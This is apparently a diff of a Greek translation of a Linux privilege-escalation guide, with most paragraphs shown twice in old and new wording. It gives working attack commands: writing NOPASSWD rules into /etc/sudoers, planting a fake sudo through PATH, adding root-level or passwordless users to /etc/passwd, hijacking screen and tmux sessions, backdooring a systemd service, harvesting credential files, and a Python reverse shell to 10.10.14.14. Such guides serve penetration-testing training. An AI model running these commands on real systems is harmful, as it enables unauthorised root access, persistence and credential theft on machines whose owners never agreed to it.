### /etc/sudoers, /etc/sudoers.d
Το αρχείο `/etc/sudoers` και τα αρχεία μέσα στο `/etc/sudoers.d` ρυθμίζουν ποιος μπορεί να χρησιμοποιήσει το `sudo` και πώς. Αυτά τα αρχεία **από προεπιλογή μπορούν να διαβαστούν μόνο από τον χρήστη root και την ομάδα root**.\
**Αν** μπορείτε **να διαβάσετε** αυτό το αρχείο, θα μπορούσατε να **αποκτήσετε κάποιες ενδιαφέρουσες πληροφορίες**, και αν μπορείτε **να γράψετε** οποιοδήποτε αρχείο, θα μπορείτε να **εξελίξετε τα δικαιώματά σας**.
**Αν** μπορείτε **να διαβάσετε** αυτό το αρχείο, θα μπορούσατε να **αποκτήσετε μερικές ενδιαφέρουσες πληροφορίες**, και αν μπορείτε **να γράψετε** οποιοδήποτε αρχείο, θα μπορούσατε να **εξελίξετε τα δικαιώματά σας**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια
Αν μπορείς να γράψεις, μπορείς να καταχραστείς αυτήν την άδεια.
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
Άλλος τρόπος για να καταχραστείτε αυτές τις άδειες:
Ένας άλλος τρόπος για να καταχραστείτε αυτές τις άδειες:
```bash
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
@ -995,9 +994,9 @@ permit nopass demo as root cmd vim
```
### Απάτη με το Sudo
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε ένα μηχάνημα και χρησιμοποιεί το `sudo`** για ανάθεση προνομίων και έχετε μια κέλυφος μέσα σε αυτό το πλαίσιο χρήστη, μπορείτε **να δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως ριζοχρήστης και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του πλαισίου χρήστη (για παράδειγμα προσθέτοντας τη νέα διαδρομή στο .bash\_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το δικό σας εκτελέσιμο sudo να εκτελείται.
Εάν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε ένα μηχάνημα και χρησιμοποιεί το `sudo`** για να αναβαθμίσει τα προνόμιά του και έχετε μια κέλυφος μέσα σε αυτό το πλαίσιο χρήστη, μπορείτε **να δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως ριζοδόχο και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του πλαισίου χρήστη (για παράδειγμα προσθέτοντας τη νέα διαδρομή στο .bash\_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το δικό σας εκτελέσιμο sudo να εκτελείται.
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό κέλυφος (όχι bash) θα πρέπει να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
Σημειώστε ότι εάν ο χρήστης χρησιμοποιεί διαφορετικό κέλυφος (όχι bash) θα πρέπει να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
Ή να εκτελέσετε κάτι παρόμοιο:
```bash
@ -1020,10 +1019,10 @@ sudo ls
Το αρχείο `/etc/ld.so.conf` υποδεικνύει **από πού προέρχονται τα φορτωμένα αρχεία διαμόρφωσης**. Συνήθως, αυτό το αρχείο περιέχει την ακόλουθη διαδρομή: `include /etc/ld.so.conf.d/*.conf`
Αυτό σημαίνει ότι τα αρχεία διαμόρφωσης από `/etc/ld.so.conf.d/*.conf` θα διαβαστούν. Αυτά τα αρχεία διαμόρφωσης **δείχνουν σε άλλους φακέλους** όπου θα **ψάξουν** για **βιβλιοθήκες**. Για παράδειγμα, το περιεχόμενο του `/etc/ld.so.conf.d/libc.conf` είναι `/usr/local/lib`. **Αυτό σημαίνει ότι το σύστημα θα αναζητήσει βιβλιοθήκες μέσα στον φάκελο `/usr/local/lib`**.
Αυτό σημαίνει ότι τα αρχεία διαμόρφωσης από `/etc/ld.so.conf.d/*.conf` θα διαβαστούν. Αυτά τα αρχεία διαμόρφωσης **δείχνουν σε άλλους φακέλους** όπου οι **βιβλιοθήκες** θα **αναζητηθούν**. Για παράδειγμα, το περιεχόμενο του `/etc/ld.so.conf.d/libc.conf` είναι `/usr/local/lib`. **Αυτό σημαίνει ότι το σύστημα θα αναζητήσει βιβλιοθήκες μέσα στον φάκελο `/usr/local/lib`**.
Αν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιαδήποτε από τις διαδρομές που υποδεικνύονται: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιοδήποτε φάκελο μέσα στο αρχείο διαμόρφωσης μέσα στο `/etc/ld.so.conf.d/*.conf`, μπορεί να καταφέρει να αναβαθμίσει τα προνόμιά του.\
Ρίξτε μια ματιά σε **πώς να εκμεταλλευτείτε αυτήν την κακή διαμόρφωση** στην ακόλουθη σελίδα:
Αν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιαδήποτε από τις διαδρομές που υποδεικνύονται: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιοδήποτε φάκελο μέσα στο αρχείο διαμόρφωσης μέσα στο `/etc/ld.so.conf.d/*.conf`, μπορεί να εξελιχθεί σε προνομιακότητα.\
Ρίξτε μια ματιά σε **πώς να εκμεταλλευτείτε αυτήν την λανθάνουσα ρύθμιση** στην ακόλουθη σελίδα:
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
@ -1064,7 +1063,7 @@ execve(file,argv,0);
```
## Δυνατότητες
Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων ρίζας σε ένα διεργασία**. Αυτό διαχωρίζει αποτελεσματικά τα προνόμια ρίζας σε μικρότερες και διακριτικές μονάδες. Κάθε μια από αυτές τις μονάδες μπορεί να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο των προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\
Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων ρίζας σε ένα διεργασία**. Αυτό διακόπτει αποτελεσματικά τα προνόμια ρίζας σε μικρότερες και διακριτικές μονάδες. Κάθε μια από αυτές τις μονάδες μπορεί να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο των προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\
Διαβάστε την ακόλουθη σελίδα για να **μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις καταχραστείτε**:
{% content-ref url="linux-capabilities.md" %}
@ -1078,7 +1077,7 @@ execve(file,argv,0);
## ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο των δικαιωμάτων κατά βούληση, ικανά να **αντικαταστήσουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή απαγορεύοντας δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορούν να βρεθούν [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο των δικαιωμάτων κατά βούληση, ικανά να **αντικαταστήσουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή απαγορεύοντας δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μποροϋν να βρεθούν [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
```bash
@ -1091,19 +1090,21 @@ setfacl -b file.txt #Remove the ACL of the file
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Άνοιγμα κελιών (shell sessions)
## Ανοίγματος συνεδριών κέλυφους
Σε **παλιότερες εκδόσεις** ενδέχεται να **καταλάβετε** κάποια **κελί** συνεδρία ενός διαφορετικού χρήστη (**root**).\
Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε κελιές οθόνης του **δικού σας χρήστη**. Ωστόσο, ενδέχεται να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
Σε **παλαιότερες εκδόσεις** μπορείτε να **αρπάξετε** μια **συνεδρία κέλυφους** ενός διαφορετικού χρήστη (**root**).\
Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε συνεδρίες οθόνης του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
### Κατάληψη κελιών οθόνης
### Αρπαγή συνεδριών οθόνης
**Λίστα με τις συνεδρίες οθόνης**
**Λίστα συνεδριών οθόνης**
```bash
screen -ls
screen -ls <username>/ # Show another user' screen sessions
```
**Συνδεθείτε σε μια συνεδρία**
![](<../../.gitbook/assets/image (141).png>)
**Σύνδεση σε μια συνεδρία**
```bash
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
@ -1119,9 +1120,9 @@ tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
```
![](<../../.gitbook/assets/image (834).png>)
![](<../../.gitbook/assets/image (837).png>)
**Σύνδεση σε μια συνεδρία**
**Συνδεθείτε σε μια συνεδρία**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
@ -1138,26 +1139,26 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Όλα τα κλειδιά SSL και SSH που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κλπ) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να επηρεαστούν από αυτό το σφάλμα.\
Αυτό το σφάλμα προκαλείται κατά τη δημιουργία ενός νέου κλειδιού ssh σε αυτά τα λειτουργικά συστήματα, καθώς **ήταν δυνατές μόνο 32.768 παραλλαγές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το δημόσιο κλειδί ssh μπορείτε να αναζητήσετε το αντίστοιχο ιδιωτικό κλειδί**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Αυτό το σφάλμα προκαλείται κατά τη δημιουργία ενός νέου κλειδιού ssh σε αυτά τα λειτουργικά συστήματα, καθώς **ήταν δυνατές μόνο 32,768 παραλλαγές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το δημόσιο κλειδί ssh μπορείτε να αναζητήσετε το αντίστοιχο ιδιωτικό κλειδί**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Ενδιαφέρουσες τιμές ρύθμισης
* **PasswordAuthentication:** Καθορίζει εάν επιτρέπεται η ελέγχει κωδικού πρόσβασης. Η προεπιλογή είναι `no`.
* **PubkeyAuthentication:** Καθορίζει εάν επιτρέπεται η ελέγχει με δημόσιο κλειδί. Η προεπιλογή είναι `yes`.
* **PermitEmptyPasswords**: Όταν επιτρέπεται ο έλεγχος κωδικού πρόσβασης, καθορίζει εάν ο διακομιστής επιτρέπει τη σύνδεση σε λογαριασμούς με κενές συμβολοσειρές κωδικού πρόσβασης. Η προεπιλογή είναι `no`.
* **PermitEmptyPasswords**: Όταν επιτρέπεται ο έλεγχος κωδικού πρόσβασης, καθορίζει εάν ο διακομιστής επιτρέπει τη σύνδεση σε λογαριασμούς με κενές συμβολοσειρές κωδικού. Η προεπιλογή είναι `no`.
### PermitRootLogin
Καθορίζει εάν ο ριζικός χρήστης μπορεί να συνδεθεί χρησιμοποιώντας το ssh, η προεπιλογή είναι `no`. Δυνατές τιμές:
Καθορίζει εάν ο ρίζα μπορεί να συνδεθεί χρησιμοποιώντας το ssh, η προεπιλογή είναι `no`. Δυνατές τιμές:
* `yes`: ο ριζικός χρήστης μπορεί να συνδεθεί χρησιμοποιώντας κωδικό και ιδιωτικό κλειδί
* `without-password` ή `prohibit-password`: ο ριζικός χρήστης μπορεί να συνδεθεί μόνο με ιδιωτικό κλειδί
* `forced-commands-only`: Ο ριζικός χρήστης μπορεί να συνδεθεί μόνο χρησιμοποιώντας ιδιωτικό κλειδί και εάν ορίζονται οι επιλογές εντολών
* `yes`: η ρίζα μπορεί να συνδεθεί χρησιμοποιώντας κωδικό και ιδιωτικό κλειδί
* `without-password` ή `prohibit-password`: η ρίζα μπορεί να συνδεθεί μόνο με ιδιωτικό κλειδί
* `forced-commands-only`: Η ρίζα μπορεί να συνδεθεί μόνο χρησιμοποιώντας ιδιωτικό κλειδί και εάν οριστούν οι επιλογές εντολών
* `no` : όχι
### AuthorizedKeysFile
Καθορίζει τα αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την πιστοποίηση του χρήστη. Μπορεί να περιέχει διακριτικά όπως `%h`, τα οποία θα αντικατασταθούν από τον κατάλογο αρχικού. **Μπορείτε να υποδείξετε απόλυτα μονοπάτια** (ξεκινώντας από `/`) ή **σχετικά μονοπάτια από τον αρχικό κατάλογο του χρήστη**. Για παράδειγμα:
Καθορίζει τα αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την πιστοποίηση του χρήστη. Μπορεί να περιέχει διακριτικά στοιχεία όπως `%h`, τα οποία θα αντικατασταθούν από τον κατάλογο home. **Μπορείτε να υποδείξετε απόλυτα μονοπάτια** (ξεκινώντας από `/`) ή **σχετικά μονοπάτια από τον κατάλογο home του χρήστη**. Για παράδειγμα:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1165,14 +1166,14 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
Η προώθηση του SSH agent σάς επιτρέπει να **χρησιμοποιείτε τα τοπικά σας κλειδιά SSH αντί να αφήνετε τα κλειδιά** (χωρίς φράσεις κλειδιού!) να κάθονται στο διακομιστή σας. Έτσι, θα μπορείτε να **μεταβείτε** μέσω ssh **σε έναν οικοδεσπότη** και από εκεί **να μεταβείτε σε έναν άλλο** οικοδεσπότη **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στο **αρχικό σας οικοδεσπότη**.
Η προώθηση του SSH agent σάς επιτρέπει να **χρησιμοποιείτε τα τοπικά σας κλειδιά SSH αντί να αφήνετε τα κλειδιά** (χωρίς φράσεις κλειδιού!) να κάθονται στον διακομιστή σας. Έτσι, θα μπορείτε να **μεταβείτε** μέσω ssh **σε έναν οικοδεσπότη** και από εκεί **να μεταβείτε σε έναν άλλο** οικοδεσπότη **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας οικοδεσπότη**.
Πρέπει να ορίσετε αυτήν την επιλογή στο `$HOME/.ssh.config` όπως εδώ:
```
Host example.com
ForwardAgent yes
```
Σημείωση: Εάν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (που αποτελεί πρόβλημα ασφαλείας).
Παρατηρήστε ότι εάν το `Host` είναι `*`, κάθε φορά που ο χρήστης μεταβαίνει σε διαφορετική μηχανή, αυτή η μηχανή θα μπορεί να έχει πρόσβαση στα κλειδιά (το οποίο αποτελεί πρόβλημα ασφαλείας).
Το αρχείο `/etc/ssh_config` μπορεί **να αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να απαγορεύσει αυτή τη διαμόρφωση.\
Το αρχείο `/etc/sshd_config` μπορεί **να επιτρέψει** ή **να απαγορεύσει** την προώθηση του ssh-agent με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι επιτρέπεται).
@ -1193,7 +1194,7 @@ ls -l /etc/profile /etc/profile.d/
```
### Αρχεία Passwd/Shadow
Ανάλογα με το λειτουργικό σύστημα τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετική ονομασία ή ενδέχεται να υπάρχει αντίγραφο. Συνεπώς, συνιστάται **να βρείτε όλα αυτά τα αρχεία** και **να ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν κρυπτογραφημένες τιμές (hashes)** μέσα στα αρχεία:
Ανάλογα με το λειτουργικό σύστημα τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετική ονομασία ή να υπάρχει ένα αντίγραφο. Συνεπώς, συνιστάται **να βρείτε όλα αυτά τα αρχεία** και **να ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία:
```bash
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1206,13 +1207,13 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
```
### Εγγράψιμο /etc/passwd
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με έναν από τους παρακάτω εντολές.
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με έναν από τους παρακάτω εντολείς.
```
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Στη συνέχεια προσθέστε τον χρήστη `hacker` και προσθέστε τον κωδικό πρόσβασης που δημιουργήθηκε.
Στη συνέχεια προσθέστε τον χρήστη `hacker` και προσθέστε τον δημιουργημένο κωδικό πρόσβασης.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@ -1220,8 +1221,8 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Μπορείτε τώρα να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker`
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε ένα ψεύτικο χρήστη χωρίς κωδικό πρόσβασης.\
ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ενδέχεται να υποβαθμίσετε την τρέχουσα ασφάλεια της συσκευής.
Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε ένα ψευδώνυμο χρήστη χωρίς κωδικό πρόσβασης.\
ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ενδέχεται να μειώσετε την τρέχουσα ασφάλεια της συσκευής.
```
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
@ -1233,13 +1234,13 @@ su - dummy
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Για παράδειγμα, αν η μηχανή εκτελεί έναν διακομιστή **tomcat** και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης υπηρεσίας Tomcat μέσα στο /etc/systemd/**, τότε μπορείτε να τροποποιήσετε τις γραμμές:
Για παράδειγμα, αν η μηχανή εκτελεί ένα διακομιστή **tomcat** και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές:
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα εκκινηθεί το tomcat.
Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat.
### Έλεγχος Φακέλων
@ -1272,7 +1273,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### \*\_ιστορικό, .sudo\_as\_admin\_επιτυχημένο, προφίλ, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία
### \*\_ιστορικό, .sudo\_as\_admin\_επιτυχής, προφίλ, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1299,17 +1300,17 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης
Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά δυνητικά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε για αυτό είναι το: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοικτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών που αποθηκεύονται σε έναν τοπικό υπολογιστή για Windows, Linux & Mac.
**Ένα ακόμα ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε για αυτό είναι το: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών που αποθηκεύονται σε έναν τοπικό υπολογιστή για Windows, Linux & Mac.
### Αρχεία καταγραφής
Αν μπορείτε να διαβάσετε τα αρχεία καταγραφής, μπορείτε να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτά**. Όσο πιο παράξενο είναι το αρχείο καταγραφής, τόσο πιο ενδιαφέρον θα είναι (πιθανόν).\
Επίσης, κάποια "**κακά**" ρυθμισμένα (με backdoor?) **αρχεία καταγραφής ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε αυτά όπως εξηγείται σε αυτήν την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Επίσης, κάποια "**κακά**" ρυθμισμένα (με backdoor?) **αρχεία καταγραφής ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε αυτά όπως εξηγείται σε αυτήν τη δημοσίευση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
Για να **διαβάσετε τα αρχεία καταγραφής του συστήματος** η ομάδα [**adm**](interesting-groups-linux-pe/#adm-group) θα είναι πολύ χρήσιμη.
Για να **διαβάσετε τα αρχεία καταγραφής της ομάδας** [**adm**](interesting-groups-linux-pe/#adm-group) θα είναι πραγματικά χρήσιμο.
### Αρχεία κελύφους
```bash
@ -1322,7 +1323,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### Γενική Αναζήτηση/Regex Διαπιστεύσεων
### Γενική Αναζήτηση/Regex Διαπιστευτήριων
Θα πρέπει επίσης να ελέγξετε αρχεία που περιέχουν τη λέξη "**password**" στο **όνομά** τους ή μέσα στο **περιεχόμενο**, καθώς επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή hashes regexps.\
Δε θα αναφέρω εδώ πως να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
@ -1337,9 +1338,9 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Εκμετάλλευση ευπάθειας στο Logrotate
### Εκμετάλλευση του Logrotate
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή τους γονεϊκούς φακέλους του να αποκτήσουν πιθανά αυξημένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά τρέχει ως **root**, μπορεί να τροποποιηθεί ώστε να εκτελέσει τυχαία αρχεία, ειδικά σε φακέλους όπως ο _**/etc/bash\_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο εφαρμόζεται η περιστροφή των καταγραφών.
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονεϊκούς καταλόγους του να αποκτήσουν πιθανά αναβαθμισμένα προνόμια. Αυτό συμβαίνει επειδή το `logrotate`, το οποίο συχνά τρέχει ως **root**, μπορεί να χειριστεί ώστε να εκτελέσει τυχαία αρχεία, ειδικά σε καταλόγους όπως ο _**/etc/bash\_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο εφαρμόζεται η περιστροφή των καταγραφών.
{% hint style="info" %}
Αυτή η ευπάθεια επηρεάζει την έκδοση `3.18.0` και παλαιότερες του `logrotate`
@ -1349,15 +1350,15 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten).
Αυτή η ευπάθεια είναι πολύ παρόμοια με το [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(καταγραφές nginx)**, οπότε όποτε ανακαλύπτετε ότι μπορείτε να τροποποιήσετε καταγραφές, ελέγξτε ποιος διαχειρίζεται αυτές τις καταγραφές και ελέγξτε αν μπορείτε να αναβαθμίσετε τα προνόμια αντικαθιστώντας τις καταγραφές με συμβολικούς συνδέσμους.
Αυτή η ευπάθεια είναι πολύ παρόμοια με το [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(καταγραφές nginx),** οπότε κάθε φορά που διαπιστώνετε ότι μπορείτε να τροποποιήσετε τις καταγραφές, ελέγξτε ποιος διαχειρίζεται αυτές τις καταγραφές και ελέγξτε αν μπορείτε να αναβαθμίσετε τα προνόμια αντικαθιστώντας τις καταγραφές με συμβολικούς συνδέσμους.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Αναφορά ευπαθειών:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
